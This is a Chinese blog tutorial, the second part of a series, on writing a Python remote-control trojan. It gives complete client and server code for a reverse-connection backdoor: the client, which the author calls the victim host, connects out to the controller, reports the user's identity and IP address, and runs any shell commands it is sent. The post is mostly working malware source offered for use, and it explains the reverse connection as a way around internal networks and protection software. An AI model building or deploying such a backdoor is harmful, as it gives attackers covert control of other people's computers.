Python从零开始编写控制程序(二)
# Python从零开始编写控制程序(二)
前言:终于考完期末了,鸽了很久的远控Python终于有时间更新下了。上篇文章里,我们解决了注册表写入和Python编写为exe程序的问题。
那么这篇文章我们来研究如何完成客户端与服务端的通信,并且完成命令执行及文件下载的功能。
客户端和服务端的通信,在本篇博客里我们依赖Socket库来完成。
在之前的博客中,我详细的写了Socket通信的原理、使用,链接如下:
https://www.cnblogs.com/culin/p/14406973.html
一般来说,远控存在正向链接和反向链接两种情况。我们编写的远控程序,一般选择反向链接。因为正向链接会因为对方是在内网的情况,或者存在防护软件而失效。所以客户端一般是受害主机,而服务端则是我们的控制主机。
在实现命令执行的功能时,我们需要使用到Python的Subprocess模型,这是一个非常强大的命令执行模块,原理是通过生成子进程来执行命令。
本次博客里我们着重研究Subprocess.call()函数,此函数可以接受数组,字符串来执行命令。不同的是如果要接受字符串来作为命令执行,需要将shell参数设置为True,具体命令形式如下:
subprocess.call('dir',shell=True)
执行结果如下:
同时,subprocess.call的返回值为布尔类型,返回值为0表示命令执行成功,否则命令执行失败。[之前我以为命令执行结果会直接返回,其实实际情况不是这样的]。
另外,subprocess.check_output可以将执行结果以字符串的形式返回,详细的使用方法如下
res=subprocess.check_output('dir',shell=True)
print(res.decode("GBK","ignore"))
注意如果没有使用解码函数,并设置好正确的参数,就会出现返回结果以ASCII码的形式出现,这是非常反人类的一件事,切记切记。
实际情况中,subporcess.call还有更多的使用情况,譬如根据stdin,stdout,stderr等句柄进行更复杂的操作,但是在此我们不进行尝试(一切以实现目标为主,删繁就简).
在本篇文章中,我们着重解决命令执行的问题,而先忽略多线程控制、文件下载这两个功能。
命令执行的思路:服务端接受命令,发送给客户端,并将客户端的返回结果打印到控制台上。
客户端接受服务端发来的命令,并且返回结果。
对应部分代码如下:
客户端:
def ExecComman(Client):
while True:
try:
comman=Client.recv(BUFFSIZE).decode()
print(comman)
if comman=='exit':
break
comList=comman.split()
if comList[0]!='cd':
result = subprocess.check_output(comman, shell=True)
result=result.decode("GBK","ignore")
result=bytes(result,encoding="utf-8")
if result==b'':
Client.sendall('Exec Successful!'.encode())
else:
Client.sendall(result)
except Exception as e:
Client.sendall("Failed to exec".encode())
continue
服务端:
def ExecComman(client,raddr):
while True:
command=raw_input("[Command]:>>>")
if command=='q' or command=='exit':
client.sendall('exit'.encode())
break
client.sendall(command.encode())
result=client.recv(BUFFSIZE)
print(result)
同时我们要注意到这里的编码问题,因为sendall只能发送bytes数据,所以数据的encode和decode是每次发送和接受数据前都要考虑到的问题。 总体代码如下:
#客户端:
import socket
import subprocess
#设置主控端信息
HOST="192.168.198.130"
PORT=4440
BUFFSIZE=1024
ADDR=(HOST,PORT)
def ExecComman(Client):
while True:
try:
comman=Client.recv(BUFFSIZE).decode()
print(comman)
if comman=='exit':
break
comList=comman.split()
if comList[0]!='cd':
result = subprocess.check_output(comman, shell=True)
result=result.decode("GBK","ignore")
result=bytes(result,encoding="utf-8")
print(result)
if result==b'':
Client.sendall('Exec Successful!'.encode())
else:
Client.sendall(result)
elif comList[0]=='cd':
os.chdir(comList[1])
Client.sendall(os.getcwd().encode())
except Exception as e:
Client.sendall("Failed to exec".encode())
continue
if __name__ == '__main__':
#连接主控端
tcpClient=socket.socket()
tcpClient.connect(ADDR)
#发送客户端信息,包括主机名,IP地址,
tcp_ip=tcpClient.getsockname()
tcp_name=subprocess.check_output('whoami',shell=True)
ClientInfo="IP:"+tcp_ip[0]+" 用户:"+tcp_name.decode("GBK","ignore")
ClientInfo=bytes(ClientInfo,encoding="utf-8")
tcpClient.sendall(ClientInfo)
#监听服务器端的输入
print("[*]Waiting for the server command")
while True:
info=tcpClient.recv(BUFFSIZE).decode()
if info=='1':
ExecComman(tcpClient)
elif info=='2':
FileDownload()
-------------------------------------------------------------------
#服务端#
-*- coding:utf-8 -*-
import socket
import subprocess
BUFFSIZE=1024
def ExecComman(client,raddr):
while True:
command=raw_input("[Command]:>>>")
if command=='q' or command=='exit':
client.sendall('exit'.encode())
break
client.sendall(command.encode())
result=client.recv(BUFFSIZE)
print(result)
if __name__== '__main__':
tcpServer_ip="192.168.198.130"
tcpServer_port=4440
tcpServer_addr=(tcpServer_ip,tcpServer_port)
#Start to listen
try:
print("Try")
tcpServer=socket.socket()
tcpServer.bind(tcpServer_addr)
tcpServer.listen(1)
except socket.error as e:
print(e)
client,raddr=tcpServer.accept()
client_info=client.recv(BUFFSIZE)
print(client_info)
print("Please Select The Command")
print("[1]Command Exec")
print("[2]File Transfer")
choice=input("[0]>>>")
print(choice)
if choice==1:
client.sendall('1'.encode())
ExecComman(client,raddr)
那么初步的命令执行功能已经实现了,在此功能的基础上,我们可以添加文件下载的功能,或者进行多线程多进程的优化。这些功能在后续的博客中会进行相应补充,希望小伙伴可以自己进行相关函数的调试。
Python从零开始编写控制程序(二)的更多相关文章
- Python从零开始编写控制程序(一)
Python之从零开始编写控制程序(一) 在此声明:本博客仅供学习参考,任何产生相关违法犯罪行为与本人无关. 另外如果有师傅有好的思路和想法,可以和我一起沟通交流. 最近在一直尝试做Powershel ...
- 运用Python语言编写获取Linux基本系统信息(二):文件系统使用情况获取
本文跟着上一篇文章继续写,上一篇文章的链接 运用Python语言编写获取Linux基本系统信息(一):获得Linux版本.内核.当前时间 一.随便说说 获取文件系统使用情况的思路和上一篇获取主要系统是 ...
- Python学习笔记(二)使用Sublime Text编写简单的Python程序()
一.使用Sublime Text编写Python 1.点击“文件” →”新建文件“ 2.点击”文件“→”保存“,并保存为.py文件 此时已经创建好Python文件了,接下来就可以编写Python程序了 ...
- 从零开始编写自己的C#框架(1)——前言
记得十五年前自学编程时,拿着C语言厚厚的书,想要上机都不知道要用什么编译器来执行书中的例子.十二年前在大学自学ASP时,由于身边没有一位同学和朋友学习这种语言,也只能整天混在图收馆里拼命的啃书.而再后 ...
- 从零开始编写自己的C#框架(2)——开发前准备工作
没想到写了个前言就受到很多朋友的支持,大家的推荐就是我最大的动力(推荐得我热血沸腾,大家就用推荐来猛砸我吧O^-^O),谢谢大家支持. 其实框架开发大家都知道,不过要想写得通俗点,我个人觉得还是挺吃力 ...
- 从零开始编写自己的C#框架(8)——后台管理系统功能设计
还是老规矩先吐下槽,在规范的开发过程中,这个时候应该是编写总体设计(概要设计)的时候,不过对于中小型项目来说,过于规范的遵守软件工程,编写太多文档也会拉长进度,一般会将它与详细设计合并到一起来处理,所 ...
- 从零开始编写自己的C#框架(9)——数据库设计与创建
对于千万级与百万级数据库设计是有所区别的,由于本项目是基于中小型软件开发框架来设计,记录量相对会比较少,所以数据库设计时考虑的角度是:与开发相结合:空间换性能:空间换开发效率:减少null异常.... ...
- 从零开始编写属于我的CMS:(六)插件
二三四五还没写,先写六吧(有道友说想看看插件部分). 这里是一 从零开始编写属于我的CMS:(一)前言 一,首先预定义接口 新建类库,WangCms.PluginInterface 新建两个类,一个实 ...
- 从零开始学习jQuery (二) 万能的选择器
本系列文章导航 从零开始学习jQuery (二) 万能的选择器 一.摘要 本章讲解jQuery最重要的选择器部分的知识. 有了jQuery的选择器我们几乎可以获取页面上任意的一个或一组对象, 可以明显 ...
随机推荐
- lms框架服务注册中心
服务注册中心原理 在分布式系统里的注册中心.原理是将部署服务的机器地址记录到注册中心,服务消费者在有需求的时候,只需要查询注册中心,输入提供的服务名,就可以得到地址,从而发起调用. 在微服务架构下,主 ...
- 1.6Java语言规范、API、JDK、和IDE
要点提示:Java语言规范定义了Java的语法,Java库则在JavaAPI中定义.JDK是用于开发和运行Java程序的软件.IDE是快速开发程序的集成开发环境. 计算机语言有严格的使用规范.
- 用阻塞队列实现一个生产者消费者模型?synchronized和lock有什么区别?
多线程当中的阻塞队列 主要实现类有 ArrayBlockingQueue是一个基于数组结构的有界阻塞队列,此队列按FIFO原则对元素进行排序 LinkedBlockingQueue是一个基于链表结构的 ...
- 为什么socket是三次握手挥手却是四次
为知笔记地址: https://794e611d.wiz03.com/wapp/pages/view/share/s/1VjC4t215AfJ2knVCX1yXcay1HkR1O0_L4CF2w2CR ...
- Redis的内存回收原理,及内存过期淘汰策略详解
Redis 内存回收机制Redis 的内存回收主要围绕以下两个方面: 1.Redis 过期策略:删除过期时间的 key 值 2.Redis 淘汰策略:内存使用到达 maxmemory 上限时触发内存淘 ...
- 剑指offer 37-42
37. 输入一棵二叉树,判断该二叉树是否是平衡二叉树. 思路: 1.平衡二叉树的定义为,当为空树或左右子树高度小于等于1,同时左右子树都要为平衡二叉树. 2.先分别求出左右子树的高度,比较高度差,如果 ...
- Docker基础:VMware虚拟机Centos7环境下docker安装及使用
1.docker简介 2.docker安装 3.卸载docker 4.阿里云镜像加速 5.docker的常用命令 5.1 帮助命令 5.2 镜像命令 5.3 容器命令 5.4 后台启动命令 5.5 查 ...
- 『心善渊』Selenium3.0基础 — 26、unittest测试框架的断言
目录 1.断言介绍 2.常用的断言方法 3.断言示例 1.断言介绍 在执行测试用例的过程中,最终用例是否执行通过,是通过判断测试得到的实际结果和预期结果是否相等决定的,这时会用到断言方法. 本着没有消 ...
- P5816 [CQOI2010]内部白点 题解
[题目链接] [解析] 好题. 拿到题目首先先看一下它的无解情况是怎么判断的. 然后很明显这个是不存在无解情况的. 因为它的黑点开始都是给定了的,可以理解为一个边界. 而新的变化的黑点不会往外扩张,那 ...
- 团队开发day08
web端数据处理出现问题,不能通过servlet中的request获取属性值, 查找一番,前端的form设置上传数据格式为二进制类型,需要先转化,接收为 fileitem,在进行处理